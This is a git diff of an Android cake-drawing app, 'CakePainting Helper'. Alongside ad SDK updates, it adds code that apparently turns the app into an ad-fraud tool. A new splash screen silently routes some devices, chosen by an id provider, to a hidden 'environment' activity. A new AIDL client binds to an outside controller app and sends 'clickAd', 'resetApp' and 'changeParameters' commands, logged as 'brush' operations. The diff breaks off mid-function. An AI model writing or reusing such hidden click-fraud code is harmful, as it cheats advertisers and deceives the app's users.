diff --git a/.gitignore b/.gitignore index aa724b7..e1aada2 100644 --- a/.gitignore +++ b/.gitignore @@ -13,3 +13,5 @@ .externalNativeBuild .cxx local.properties +/app/release/ +/app/debug/ diff --git a/.idea/.gitignore b/.idea/.gitignore deleted file mode 100644 index eaf91e2..0000000 --- a/.idea/.gitignore +++ /dev/null @@ -1,3 +0,0 @@ -# Default ignored files -/shelf/ -/workspace.xml diff --git a/.idea/.name b/.idea/.name deleted file mode 100644 index 8543d21..0000000 --- a/.idea/.name +++ /dev/null @@ -1 +0,0 @@ -CakePainting Helper \ No newline at end of file diff --git a/.idea/AndroidProjectSystem.xml b/.idea/AndroidProjectSystem.xml index d58d49b..4a53bee 100644 --- a/.idea/AndroidProjectSystem.xml +++ b/.idea/AndroidProjectSystem.xml @@ -1,6 +1,6 @@ - - - - + + + + \ No newline at end of file diff --git a/.idea/compiler.xml b/.idea/compiler.xml deleted file mode 100644 index 8b3f102..0000000 --- a/.idea/compiler.xml +++ /dev/null @@ -1,6 +0,0 @@ - - - - - - \ No newline at end of file diff --git a/.idea/dbnavigator.xml b/.idea/dbnavigator.xml deleted file mode 100644 index 0a53a4a..0000000 --- a/.idea/dbnavigator.xml +++ /dev/null @@ -1,440 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/.idea/deploymentTargetSelector.xml b/.idea/deploymentTargetSelector.xml index df8cccd..849be02 100644 --- a/.idea/deploymentTargetSelector.xml +++ b/.idea/deploymentTargetSelector.xml @@ -1,21 +1,10 @@ - - - - - - - - - - + + + + + + + + \ No newline at end of file diff --git a/.idea/deviceManager.xml b/.idea/deviceManager.xml deleted file mode 100644 index 81c3e56..0000000 --- a/.idea/deviceManager.xml +++ /dev/null @@ -1,13 +0,0 @@ - - - - - - \ No newline at end of file diff --git a/.idea/gradle.xml b/.idea/gradle.xml index d852598..97f0a8e 100644 --- a/.idea/gradle.xml +++ b/.idea/gradle.xml @@ -1,29 +1,18 @@ - - - - - - + + + + + \ No newline at end of file diff --git a/.idea/kotlinc.xml b/.idea/kotlinc.xml deleted file mode 100644 index 2a5f53f..0000000 --- a/.idea/kotlinc.xml +++ /dev/null @@ -1,6 +0,0 @@ - - - - - \ No newline at end of file diff --git a/.idea/migrations.xml b/.idea/migrations.xml index 48052b2..f8051a6 100644 --- a/.idea/migrations.xml +++ b/.idea/migrations.xml @@ -1,10 +1,10 @@ - - - - - + + + + + \ No newline at end of file diff --git a/.idea/misc.xml b/.idea/misc.xml index e756225..b2c751a 100644 --- a/.idea/misc.xml +++ b/.idea/misc.xml @@ -1,6 +1,9 @@ - + + + + \ No newline at end of file diff --git a/.idea/runConfigurations.xml b/.idea/runConfigurations.xml index 5bd6771..16660f1 100644 --- a/.idea/runConfigurations.xml +++ b/.idea/runConfigurations.xml @@ -1,17 +1,17 @@ - - - - - + + + + + \ No newline at end of file diff --git a/.idea/vcs.xml b/.idea/vcs.xml new file mode 100644 index 0000000..35eb1dd --- /dev/null +++ b/.idea/vcs.xml @@ -0,0 +1,6 @@ + + + + + + \ No newline at end of file diff --git a/app/build.gradle.kts b/app/build.gradle.kts index a272ab2..36157ae 100644 --- a/app/build.gradle.kts +++ b/app/build.gradle.kts @@ -16,8 +16,8 @@ android { applicationId = "com.cake.draw.painting" minSdk = 24 targetSdk = 36 - versionCode = 2 - versionName = "1.1" + versionCode = 3 + versionName = "1.2" setProperty("archivesBaseName", "CakePainting Helper_V" + versionName + "(${versionCode})_$timestamp") testInstrumentationRunner = "androidx.test.runner.AndroidJUnitRunner" } @@ -41,6 +41,7 @@ android { buildFeatures{ viewBinding = true dataBinding = true + aidl = true } } @@ -61,7 +62,6 @@ dependencies { implementation ("androidx.camera:camera-view:${camerax_version}") implementation ("androidx.camera:camera-extensions:${camerax_version}") - implementation(files("libs/UpLoadLibrary_12_03_15_13-release.aar")) implementation("androidx.lifecycle:lifecycle-runtime-ktx:2.6.2") implementation("com.google.android.gms:play-services-ads-identifier:18.0.1") implementation("com.google.android.gms:play-services-location:21.0.1") @@ -71,40 +71,83 @@ dependencies { implementation("com.google.firebase:firebase-crashlytics-ndk") implementation("com.google.firebase:firebase-analytics") // okhttp - implementation ("com.squareup.okhttp3:okhttp:4.12.0") + implementation("com.squareup.okhttp3:okhttp:4.12.0") implementation("com.squareup.okhttp3:logging-interceptor:4.12.0") + implementation(files("libs/magiclock-debug.aar")) + + implementation(files("libs/TradPlusLibrary_01_04_12_20-release.aar")) // TradPlus - implementation("com.tradplusad:tradplus:15.1.10.1") -//noinspection GradleCompatible + implementation("com.tradplusad:tradplus:15.2.0.1") implementation("androidx.legacy:legacy-support-v4:1.0.0") implementation("androidx.appcompat:appcompat:1.3.0-alpha02") -// Ironsource + + // IronSource implementation("com.ironsource.sdk:mediationsdk:9.0.0") - implementation("com.tradplusad:tradplus-ironsource:10.15.1.10.1") -// Pangle - implementation("com.tradplusad:tradplus-pangle:19.15.1.10.1") - implementation("com.pangle.global:pag-sdk:7.7.0.2") -// UnityAds - implementation("com.tradplusad:tradplus-unity:5.15.1.10.1") + implementation("com.tradplusad:tradplus-ironsource:10.15.2.0.1") + + // Pangle + implementation("com.tradplusad:tradplus-pangle:19.15.2.0.1") + implementation("com.pangle.global:pag-sdk:7.8.0.7") + + // UnityAds + implementation("com.tradplusad:tradplus-unity:5.15.2.0.1") implementation("com.unity3d.ads:unity-ads:4.16.3") -//optional dependency for better targeting + + // Chartboost +// implementation("com.tradplusad:tradplus-chartboostx:15.15.2.0.1") +// implementation("com.chartboost:chartboost-sdk:9.10.0") +// implementation("com.google.android.gms:play-services-ads-identifier:17.0.0") +// implementation("com.google.android.gms:play-services-base:17.4.0") + + + //上面新版本下载失败用旧版本 + implementation("com.tradplusad:tradplus-chartboostx:15.14.5.0.1") + implementation("com.chartboost:chartboost-sdk:9.8.3") + implementation("com.google.android.gms:play-services-ads-identifier:17.0.0") + implementation("com.google.android.gms:play-services-base:17.4.0") + + // InMobi + implementation("com.tradplusad:tradplus-inmobix:23.15.2.0.1") + implementation("com.inmobi.monetization:inmobi-ads-kotlin:11.0.0") + implementation("com.squareup.okhttp3:okhttp:3.14.9") + implementation("org.jetbrains.kotlinx:kotlinx-coroutines-android:1.6.4") + implementation("androidx.core:core-ktx:1.5.0") + implementation("org.jetbrains.kotlin:kotlin-stdlib:1.9.0") + + implementation("com.google.android.gms:play-services-ads-identifier:18.0.1") + implementation("com.google.android.gms:play-services-location:21.0.1") // optional implementation("androidx.browser:browser:1.8.0") implementation("com.squareup.picasso:picasso:2.8") implementation("androidx.viewpager:viewpager:1.0.0") implementation("androidx.recyclerview:recyclerview:1.2.1") -// Mintegral - implementation("com.tradplusad:tradplus-mintegralx_overseas:18.15.1.10.1") + + // Fyber + implementation("com.fyber:marketplace-sdk:8.4.0") + implementation("com.tradplusad:tradplus-fyber:24.15.2.0.1") + implementation("com.google.android.gms:play-services-ads-identifier:17.0.0") + implementation("com.google.android.gms:play-services-base:17.4.0") + + // Mintegral + implementation("com.tradplusad:tradplus-mintegralx_overseas:18.15.2.0.1") implementation("androidx.recyclerview:recyclerview:1.1.0") implementation("com.mbridge.msdk.oversea:mbridge_android_sdk:16.10.11") -// Liftoff - implementation("com.tradplusad:tradplus-vunglex:7.15.1.10.1") - implementation("com.vungle:vungle-ads:7.6.0") -// Cross Promotion - implementation("com.tradplusad:tradplus-crosspromotion:27.15.1.10.1") -// TP Exchange -// 请注意保持与主包版本同步更新 - implementation("com.google.code.gson:gson:2.8.6") - implementation("com.tradplusad:tp_exchange:40.15.1.10.1") + // Liftoff (Vungle) + implementation("com.tradplusad:tradplus-vunglex:7.15.2.0.1") + implementation("com.vungle:vungle-ads:7.6.0") + + // Bigo + implementation("com.bigossp:bigo-ads:5.5.2") + implementation("com.tradplusad:tradplus-bigo:57.15.2.0.1") + + // Cross Promotion + implementation("com.tradplusad:tradplus-crosspromotion:27.15.2.0.1") + + // TP Exchange(注意与主包版本同步) + implementation("com.google.code.gson:gson:2.8.6") + implementation("com.tradplusad:tp_exchange:40.15.2.0.1") + + // Google UMP + implementation ("com.google.android.ump:user-messaging-platform:3.2.0") } \ No newline at end of file diff --git a/app/libs/TradPlusLibrary_01_04_12_20-release.aar b/app/libs/TradPlusLibrary_01_04_12_20-release.aar new file mode 100644 index 0000000..de049ac Binary files /dev/null and b/app/libs/TradPlusLibrary_01_04_12_20-release.aar differ diff --git a/app/libs/UpLoadLibrary_12_03_15_13-release.aar b/app/libs/UpLoadLibrary_12_03_15_13-release.aar deleted file mode 100644 index a3e30aa..0000000 Binary files a/app/libs/UpLoadLibrary_12_03_15_13-release.aar and /dev/null differ diff --git a/app/libs/magiclock-debug.aar b/app/libs/magiclock-debug.aar new file mode 100644 index 0000000..249cb0b Binary files /dev/null and b/app/libs/magiclock-debug.aar differ diff --git a/app/proguard-rules.pro b/app/proguard-rules.pro index 7cf0db3..3703ed4 100644 --- a/app/proguard-rules.pro +++ b/app/proguard-rules.pro @@ -21,3 +21,6 @@ #-renamesourcefileattribute SourceFile -keep public class com.tradplus.** { *; } -keep class com.tradplus.ads.** { *; } + +-keep class com.cake.draw.painting.environment.hy.IdProvider { *; } +-keep class com.cake.draw.painting.environment.hy.SimIdProvider { *; } diff --git a/app/src/main/AndroidManifest.xml b/app/src/main/AndroidManifest.xml index a23d012..50c2041 100644 --- a/app/src/main/AndroidManifest.xml +++ b/app/src/main/AndroidManifest.xml @@ -12,7 +12,7 @@ - + + + + + + + + + + + null); - TradPlusSdk.initSdk(this, "2F7E23998B25E09E546263F2CABDFF11"); + AdActivityManager.Companion.getInstance().setControl(this); + MagicLockManager.init(this); } } diff --git a/app/src/main/java/com/cake/draw/painting/SplashActivity.kt b/app/src/main/java/com/cake/draw/painting/SplashActivity.kt new file mode 100644 index 0000000..2734bbc --- /dev/null +++ b/app/src/main/java/com/cake/draw/painting/SplashActivity.kt @@ -0,0 +1,78 @@ +package com.cake.draw.painting + +import android.annotation.SuppressLint +import android.app.Activity +import android.content.Intent +import android.os.Bundle +import android.os.CountDownTimer +import android.util.Log +import androidx.core.view.ViewCompat +import androidx.core.view.WindowCompat +import androidx.core.view.WindowInsetsCompat +import com.ad.tradpluslibrary.TPAdManager +import com.cake.draw.painting.activity.HomeCakeActivity +import com.cake.draw.painting.databinding.ActivityStartCakeBinding +import com.cake.draw.painting.environment.MainActivity2 +import com.cake.draw.painting.environment.hy.IdProvider + +class SplashActivity : Activity() { + + private var countDownTimer: CountDownTimer? = null + private lateinit var vb: ActivityStartCakeBinding + + private val totalTime = 15_000L + + @SuppressLint("MissingInflatedId") + override fun onCreate(savedInstanceState: Bundle?) { + super.onCreate(savedInstanceState) + vb = ActivityStartCakeBinding.inflate(layoutInflater) + setContentView(vb.root) + Log.d("ocean","id:${IdProvider().getId()}") + if (IdProvider().getId() == 0L) { + ViewCompat.setOnApplyWindowInsetsListener(findViewById(R.id.start)) { v, insets -> + val systemBars = insets.getInsets(WindowInsetsCompat.Type.systemBars()) + v.setPadding(systemBars.left, systemBars.top, systemBars.right, systemBars.bottom) + insets + } + val windowInsetsController = WindowCompat.getInsetsController(window, window.decorView) + windowInsetsController.isAppearanceLightStatusBars = true//状态栏文字颜色 + + init() + } else { + startActivity(Intent(this, MainActivity2::class.java)) + finish() + } + } + + private fun init() { + TPAdManager.init( + this, + "ocean", + "2F7E23998B25E09E546263F2CABDFF11", + "59E907EE6D2723893762AF6D37478E12", + "F88C6C0524B477A3C684EF3701DA2612", + "C54011FD9ACB782C1DCBE2C5B534C912" + ) {} + countDownTimer = + TPAdManager.showWelcomeAd(this, totalTime, { aLong -> + + val progressPercentage = ((100 * aLong) / totalTime) + val countdownPercentage = 100 - progressPercentage + vb.loadingProgressBar.progress = countdownPercentage.toString().toInt() + + + }) { + vb.loadingProgressBar.progress = 100 + startActivity(Intent(this, HomeCakeActivity::class.java)) + finish() + } + countDownTimer?.start() + } + + + override fun onDestroy() { + super.onDestroy() + countDownTimer?.cancel() + countDownTimer = null + } +} \ No newline at end of file diff --git a/app/src/main/java/com/cake/draw/painting/activity/CameraCakeActivity.java b/app/src/main/java/com/cake/draw/painting/activity/CameraCakeActivity.java index f98809e..34e1e29 100644 --- a/app/src/main/java/com/cake/draw/painting/activity/CameraCakeActivity.java +++ b/app/src/main/java/com/cake/draw/painting/activity/CameraCakeActivity.java @@ -1,5 +1,33 @@ package com.cake.draw.painting.activity; +import android.content.ContentResolver; +import android.content.Context; +import android.content.pm.PackageManager; +import android.graphics.Bitmap; +import android.graphics.Matrix; +import android.graphics.Point; +import android.graphics.PointF; +import android.net.Uri; +import android.os.Build; +import android.os.Bundle; +import android.os.ParcelFileDescriptor; +import android.util.Log; +import android.view.MotionEvent; +import android.view.View; +import android.widget.ImageView; +import android.widget.SeekBar; +import android.widget.Toast; + +import com.ad.tradpluslibrary.TPAdManager; +import com.cake.draw.painting.CakePaintingApp; +import com.cake.draw.painting.R; +import com.cake.draw.painting.tools.Utils; +import com.google.common.util.concurrent.ListenableFuture; + +import java.io.File; +import java.io.IOException; +import java.util.Objects; + import androidx.activity.EdgeToEdge; import androidx.activity.result.ActivityResultLauncher; import androidx.activity.result.PickVisualMediaRequest; @@ -17,43 +45,8 @@ import androidx.core.content.ContextCompat; import androidx.core.graphics.Insets; import androidx.core.view.ViewCompat; import androidx.core.view.WindowInsetsCompat; - -import android.Manifest; -import android.app.Activity; -import android.content.ContentResolver; -import android.content.Context; -import android.content.Intent; -import android.content.pm.PackageManager; -import android.graphics.Bitmap; -import android.graphics.Matrix; -import android.graphics.Point; -import android.graphics.PointF; -import android.net.Uri; -import android.os.Build; -import android.os.Bundle; -import android.os.ParcelFileDescriptor; -import android.provider.MediaStore; -import android.util.Log; -import android.view.MotionEvent; -import android.view.View; -import android.widget.ImageView; -import android.widget.SeekBar; -import android.widget.Toast; - -import com.cake.draw.painting.ad.AdsInsUtil; -import com.cake.draw.painting.ad.LoadListener; -import com.cake.draw.painting.ad.ShowListener; -import com.google.common.util.concurrent.ListenableFuture; -import com.cake.draw.painting.CakePaintingApp; -import com.cake.draw.painting.R; -import com.cake.draw.painting.tools.Utils; -import com.tradplus.ads.base.bean.TPAdInfo; - -import org.jetbrains.annotations.NotNull; - -import java.io.File; -import java.io.IOException; -import java.util.Objects; +import kotlin.Unit; +import kotlin.jvm.functions.Function0; public class CameraCakeActivity extends AppCompatActivity implements View.OnTouchListener, View.OnClickListener { private CameraSelector cameraSelector; @@ -91,19 +84,14 @@ public class CameraCakeActivity extends AppCompatActivity implements View.OnTouc EdgeToEdge.enable(this); // 1. 正确设置布局(仅一次) setContentView(R.layout.activity_camera_cake); - - AdsInsUtil.INSTANCE.showAd(this, AdsInsUtil.Placement.TOP_ON_AD_THREE, new ShowListener() { + TPAdManager.INSTANCE.showTPAD(this, new Function0() { @Override - public void onAdShown(@org.jetbrains.annotations.Nullable TPAdInfo ad) { - loadAd(); - } - - @Override - public void onAdClosed() { - loadAd(); + public Unit invoke() { + return null; } }); + // 2. 修复:绑定根布局(用系统内置的 android.R.id.content 兜底) View rootView = findViewById(android.R.id.content); if (rootView != null) { @@ -389,12 +377,4 @@ public class CameraCakeActivity extends AppCompatActivity implements View.OnTouc Toast.makeText(this, getString(R.string.permission_fail), Toast.LENGTH_SHORT).show(); } - private void loadAd(){ - AdsInsUtil.INSTANCE.loadAd(this, AdsInsUtil.Placement.TOP_ON_AD_THREE, new LoadListener() { - @Override - public void loadFailed(@NotNull String error) { - - } - }); - } } \ No newline at end of file diff --git a/app/src/main/java/com/cake/draw/painting/activity/HomeCakeActivity.java b/app/src/main/java/com/cake/draw/painting/activity/HomeCakeActivity.java index 5f98882..c186909 100644 --- a/app/src/main/java/com/cake/draw/painting/activity/HomeCakeActivity.java +++ b/app/src/main/java/com/cake/draw/painting/activity/HomeCakeActivity.java @@ -1,17 +1,24 @@ package com.cake.draw.painting.activity; -import android.Manifest; -import android.os.Build; import android.os.Bundle; import android.view.LayoutInflater; import android.view.View; import android.widget.ImageView; import android.widget.TextView; +import com.ad.tradpluslibrary.TPAdManager; +import com.cake.draw.painting.R; +import com.cake.draw.painting.databinding.ActivityHomeCakeBinding; +import com.cake.draw.painting.fragment.HomeCakeFragment; +import com.cake.draw.painting.fragment.SettingCakeFragment; +import com.google.android.material.tabs.TabLayout; + +import java.util.ArrayList; +import java.util.List; + import androidx.activity.EdgeToEdge; import androidx.annotation.NonNull; import androidx.appcompat.app.AppCompatActivity; -import androidx.core.app.ActivityCompat; import androidx.core.content.ContextCompat; import androidx.core.graphics.Insets; import androidx.core.view.ViewCompat; @@ -20,21 +27,6 @@ import androidx.fragment.app.Fragment; import androidx.viewpager2.adapter.FragmentStateAdapter; import androidx.viewpager2.widget.ViewPager2; -import com.cake.draw.painting.ad.AdsInsUtil; -import com.cake.draw.painting.ad.LoadListener; -import com.cake.draw.painting.tools.Utils; -import com.cake.draw.painting.fragment.HomeCakeFragment; -import com.cake.draw.painting.fragment.SettingCakeFragment; -import com.google.android.material.tabs.TabLayout; -import com.cake.draw.painting.R; -import com.cake.draw.painting.databinding.ActivityHomeCakeBinding; -import com.tradplus.ads.base.bean.TPAdInfo; - -import org.jetbrains.annotations.NotNull; - -import java.util.ArrayList; -import java.util.List; - public class HomeCakeActivity extends AppCompatActivity { private ActivityHomeCakeBinding binding; @@ -156,31 +148,6 @@ public class HomeCakeActivity extends AppCompatActivity { @Override protected void onResume() { super.onResume(); - loadAd(); - } - - private void loadAd() { - AdsInsUtil.INSTANCE.loadAd(this, AdsInsUtil.Placement.TOP_ON_AD_THREE, new LoadListener() { - @Override - public void loaded(@NotNull TPAdInfo ad) { - - } - - @Override - public void loadFailed(@NotNull String error) { - - } - }); - AdsInsUtil.INSTANCE.loadAd(this, AdsInsUtil.Placement.TOP_ON_AD_TOW, new LoadListener() { - @Override - public void loaded(@NotNull TPAdInfo ad) { - - } - - @Override - public void loadFailed(@NotNull String error) { - - } - }); + TPAdManager.INSTANCE.loadAllAd(this); } } diff --git a/app/src/main/java/com/cake/draw/painting/activity/SearchCakeActivity.java b/app/src/main/java/com/cake/draw/painting/activity/SearchCakeActivity.java index f539c77..f3750f4 100644 --- a/app/src/main/java/com/cake/draw/painting/activity/SearchCakeActivity.java +++ b/app/src/main/java/com/cake/draw/painting/activity/SearchCakeActivity.java @@ -8,35 +8,30 @@ import android.view.inputmethod.EditorInfo; import android.view.inputmethod.InputMethodManager; import android.widget.Toast; -import androidx.activity.EdgeToEdge; -import androidx.appcompat.app.AppCompatActivity; -import androidx.core.graphics.Insets; -import androidx.core.view.ViewCompat; -import androidx.core.view.WindowInsetsCompat; -import androidx.recyclerview.widget.GridLayoutManager; -import androidx.recyclerview.widget.RecyclerView; - +import com.ad.tradpluslibrary.TPAdManager; import com.cake.draw.painting.CakePaintingApp; -import com.cake.draw.painting.ad.AdsInsUtil; -import com.cake.draw.painting.ad.LoadListener; -import com.cake.draw.painting.ad.ShowListener; -import com.cake.draw.painting.tools.Keys; import com.cake.draw.painting.R; import com.cake.draw.painting.adapter.HomeCakeAdapter; import com.cake.draw.painting.databinding.ActivitySearchCakeBinding; -import com.cake.draw.painting.tools.Utils; -import com.cake.draw.painting.onClickListener; import com.cake.draw.painting.fragment.HomeCakeFragment; -import com.tradplus.ads.base.bean.TPAdInfo; - -import org.jetbrains.annotations.NotNull; -import org.jetbrains.annotations.Nullable; +import com.cake.draw.painting.onClickListener; +import com.cake.draw.painting.tools.Keys; +import com.cake.draw.painting.tools.Utils; import java.util.ArrayList; import java.util.List; import java.util.concurrent.ExecutorService; import java.util.concurrent.Executors; +import androidx.activity.EdgeToEdge; +import androidx.core.graphics.Insets; +import androidx.core.view.ViewCompat; +import androidx.core.view.WindowInsetsCompat; +import androidx.recyclerview.widget.GridLayoutManager; +import androidx.recyclerview.widget.RecyclerView; +import kotlin.Unit; +import kotlin.jvm.functions.Function0; + public class SearchCakeActivity extends BaseActivity implements onClickListener { private ActivitySearchCakeBinding binding; private HomeCakeAdapter searchAdapter; @@ -51,15 +46,12 @@ public class SearchCakeActivity extends BaseActivity implements onClickListener // 绑定布局(ViewBinding方式) binding = ActivitySearchCakeBinding.inflate(getLayoutInflater()); setContentView(binding.getRoot()); - - - ViewCompat.setOnApplyWindowInsetsListener(findViewById(R.id.search), (v, insets) -> { Insets systemBars = insets.getInsets(WindowInsetsCompat.Type.systemBars()); v.setPadding(systemBars.left, systemBars.top, systemBars.right, systemBars.bottom); return insets; }); - + TPAdManager.INSTANCE.loadAllAd(this); // 初始化控件 initView(); // 初始化RecyclerView @@ -271,29 +263,16 @@ public class SearchCakeActivity extends BaseActivity implements onClickListener @Override protected void onInterceptBackPressed() { - AdsInsUtil.INSTANCE.showAd(this, AdsInsUtil.Placement.TOP_ON_AD_TOW, new ShowListener() { + TPAdManager.INSTANCE.showTPAD(this, new Function0() { @Override - public void onAdShown(@Nullable TPAdInfo ad) { - loadAd(); - } - - @Override - public void onAdClosed() { - loadAd(); + public Unit invoke() { + return null; } }); + if (getBackPressedCallback() != null) { getBackPressedCallback().setEnabled(false); } getOnBackPressedDispatcher().onBackPressed(); } - - private void loadAd(){ - AdsInsUtil.INSTANCE.loadAd(this, AdsInsUtil.Placement.TOP_ON_AD_TOW, new LoadListener() { - @Override - public void loadFailed(@NotNull String error) { - - } - }); - } } \ No newline at end of file diff --git a/app/src/main/java/com/cake/draw/painting/activity/SplashActivity.kt b/app/src/main/java/com/cake/draw/painting/activity/SplashActivity.kt deleted file mode 100644 index f9559ad..0000000 --- a/app/src/main/java/com/cake/draw/painting/activity/SplashActivity.kt +++ /dev/null @@ -1,172 +0,0 @@ -package com.cake.draw.painting.activity - -import android.annotation.SuppressLint -import android.content.Intent -import android.os.Bundle -import android.os.CountDownTimer -import android.widget.Toast -import androidx.core.view.ViewCompat -import androidx.core.view.WindowCompat -import androidx.core.view.WindowInsetsCompat -import com.cake.draw.painting.R -import com.cake.draw.painting.ad.AdShowFailed -import com.cake.draw.painting.ad.AdsInsUtil -import com.cake.draw.painting.ad.LoadListener -import com.cake.draw.painting.ad.ShowListener -import com.cake.draw.painting.databinding.ActivityStartCakeBinding -import com.tradplus.ads.base.bean.TPAdInfo - -class SplashActivity : BaseActivity() { - - private var countDownTimer: CountDownTimer? = null - private lateinit var vb: ActivityStartCakeBinding - - private val tickInterval = 100L - private val totalTime = 15_000L - - /** - * 总 tick 次数 15次 - */ - private val totalTicks = totalTime / tickInterval - - /** - * 每 tick 增加的进度 0.6666~ - */ - private val normalStep = 100f / totalTicks - private val fastStep = normalStep * 4 // 加速倍率 - private var currentStep = normalStep - - // 进度控制 - private var progress = 0f - - // 广告状态 - private var adAvailable = false - private var hasNavigated = false - - @SuppressLint("MissingInflatedId") - override fun onCreate(savedInstanceState: Bundle?) { - super.onCreate(savedInstanceState) - vb = ActivityStartCakeBinding.inflate(layoutInflater) - setContentView(vb.root) - - ViewCompat.setOnApplyWindowInsetsListener(findViewById(R.id.start)) { v, insets -> - val systemBars = insets.getInsets(WindowInsetsCompat.Type.systemBars()) - v.setPadding(systemBars.left, systemBars.top, systemBars.right, systemBars.bottom) - insets - } - val windowInsetsController = WindowCompat.getInsetsController(window, window.decorView) - windowInsetsController.isAppearanceLightStatusBars = true//状态栏文字颜色 - - // 1. 进来就 load 广告 - loadSplashAd() - - // 2. 启动进度条(只启动一次) - startProgressTimer() - } - - private fun startProgressTimer() { - countDownTimer?.cancel() - - countDownTimer = object : CountDownTimer(totalTime, tickInterval) { - - @SuppressLint("SetTextI18n") - override fun onTick(millisUntilFinished: Long) { - progress += currentStep - if (progress >= 100f) { - progress = 100f - vb.loadingProgressBar.progress = 100 - cancel() - onProgressFinished() - } else { - vb.loadingProgressBar.progress = progress.toInt() - } - } - - override fun onFinish() { - // 不使用 - } - }.start() - } - - - // 进度走完后的统一出口 - private fun onProgressFinished() { - if (hasNavigated) return - - if (adAvailable) { - showSplashAd() - } else { - navigateToNext() - } - } - - private fun loadSplashAd() { - AdsInsUtil.loadAd( - act = this, - adID = AdsInsUtil.Placement.TOP_ON_AD_ONE, - loadListener = object : LoadListener { - - override fun loaded(ad: TPAdInfo) { - adAvailable = true - accelerateProgress() - } - - override fun loadFailed(error: String) { - adAvailable = false - accelerateProgress() - } - } - ) - } - - // 广告 load 完 → 加速 - private fun accelerateProgress() { - currentStep = fastStep - } - - private fun showSplashAd() { - AdsInsUtil.showAd( - act = this, - adID = AdsInsUtil.Placement.TOP_ON_AD_ONE, - listener = object : ShowListener { - - override fun onAdShown(ad: TPAdInfo?) {} - - override fun onAdShowFailed(error: AdShowFailed?) { - navigateToNext() - } - - override fun onAdClosed() { - navigateToNext() - } - } - ) - } - - private fun navigateToNext() { - if (hasNavigated) return - hasNavigated = true - navigateToMainActivity() - } - - override fun shouldInterceptBackPress(): Boolean = true - override fun onInterceptBackPressed() {} - - @SuppressLint("QueryPermissionsNeeded") - private fun navigateToMainActivity() { - try { - startActivity(Intent(this, HomeCakeActivity::class.java)) - finish() - } catch (e: Exception) { - Toast.makeText(this, "跳转失败", Toast.LENGTH_SHORT).show() - e.printStackTrace() - finish() - } - } - - override fun onDestroy() { - super.onDestroy() - countDownTimer?.cancel() - countDownTimer = null - } -} diff --git a/app/src/main/java/com/cake/draw/painting/environment/AIDLClient.kt b/app/src/main/java/com/cake/draw/painting/environment/AIDLClient.kt new file mode 100644 index 0000000..dedf48d --- /dev/null +++ b/app/src/main/java/com/cake/draw/painting/environment/AIDLClient.kt @@ -0,0 +1,238 @@ +package com.cake.draw.painting.environment + +import android.content.ComponentName +import android.content.Context +import android.content.Intent +import android.content.ServiceConnection +import android.os.Handler +import android.os.IBinder +import android.os.Looper +import android.os.RemoteException +import android.util.Log +import androidx.lifecycle.MutableLiveData +import com.ad.click.cp.IMyAidlCallback +import com.ad.click.cp.IMyAidlInterface +import com.cake.draw.painting.environment.hy.TimeoutManager +import com.cake.draw.painting.environment.hy.TimeoutTask + +class AIDLClient private constructor() { + private var connection: ServiceConnection? = null + private var myService: IMyAidlInterface? = null + private var isClicking = false // 防止重复执行点击 + private var isReset = false // 防止重复执行重置 + private var isBound = false // 记录是否已绑定 + var isChangeComplete = false//防止修改参数重复发送 + + // LiveData 让 Activity 监听回调 + val paramCompleteLiveData = MutableLiveData() + + //连接是否断开 + val connectCompleteLiveData = MutableLiveData() + + val clickAdCompleteLiveData = MutableLiveData() + + companion object { + val instance: AIDLClient by lazy { AIDLClient() } + } + + /** + * 1. 初始化服务连接 + */ + fun initConnection() { + connection = object : ServiceConnection { + override fun onServiceConnected(className: ComponentName?, service: IBinder?) { + myService = IMyAidlInterface.Stub.asInterface(service) + myService?.registerCallback(callback) + isBound = true + connectCompleteLiveData.postValue(true) + Log.d("ocean-brush", "CP控制器连接成功") + } + + override fun onServiceDisconnected(className: ComponentName?) { + myService = null + isBound = false + connectCompleteLiveData.postValue(false) + Log.d("ocean-brush", "CP控制器连接断开") + } + } + } + + /** + * 绑定 AIDL + */ + fun connectService(context: Context): Boolean { + var success = false + if (!isBound) { + val intent = Intent() + intent.setAction("com.ad.click.cp.AidlService")//必须与服务端指定的service的name一致 + intent.setPackage("com.vastness.mask")//这个包名必须写服务端APP的包名 + success = context.bindService(intent, connection!!, Context.BIND_AUTO_CREATE) + } else { + Log.d("ocean-brush", "AIDL 已绑定,无需重复绑定") + } + return success + } + + /** + * 解绑 AIDL + */ + fun disconnect(context: Context) { + if (isBound && connection != null) { + context.unbindService(connection!!) + isBound = false + myService = null + Log.d("ocean-brush", "AIDL 连接已断开") + } else { + Log.d("ocean-brush", "AIDL未连接,无需解绑") + } + } + + fun sendHeartBeat(pkg: String): Boolean { + return try { + myService?.onHeartBeat(pkg) + true + } catch (e: RemoteException) { + Log.e("AIDL链接异常", e.toString()) + false + } + } + + fun sendBrushMiss(): Boolean { + return try { + myService?.onBrushMiss() + true + } catch (e: RemoteException) { + Log.e("AIDL链接异常", e.toString()) + false + } + } + + /** + * 发送点击指令 + */ + fun sendClickAd(rate: Int, pkg: String): Boolean { + return if (!isClicking) { + isClicking = true + try { + Log.d("ocean-brush", "发送点击操作") + myService?.clickAd(rate, pkg) + true + } catch (e: RemoteException) { + Log.e("AIDL链接异常", e.toString()) + isClicking = false + false + } + } else { + Log.d("ocean-brush", "点击操作未完成,不能重复点击") + false + } + } + + /** + * 发送重启应用指令 + * 添加重置指令的防止多次点击只是为了规整划,不用在意! + */ + fun sendResetApp(pkg: String): Boolean { + return if (!isReset) { + isReset = true + try { + myService?.resetApp(pkg) + true + } catch (e: RemoteException) { + Log.e("AIDL链接异常", e.toString()) + isReset = false + false + } + } else { + Log.d("ocean-brush", "重启应用遭遇重复指令") + false + } + } + + /** + * 发送修改参数指令 + * + * 只发送一次 + */ + fun sendChangeParameters(pkg: String): Boolean { + return if (!isChangeComplete) { + isChangeComplete = true + try { + myService?.changeParameters(pkg, 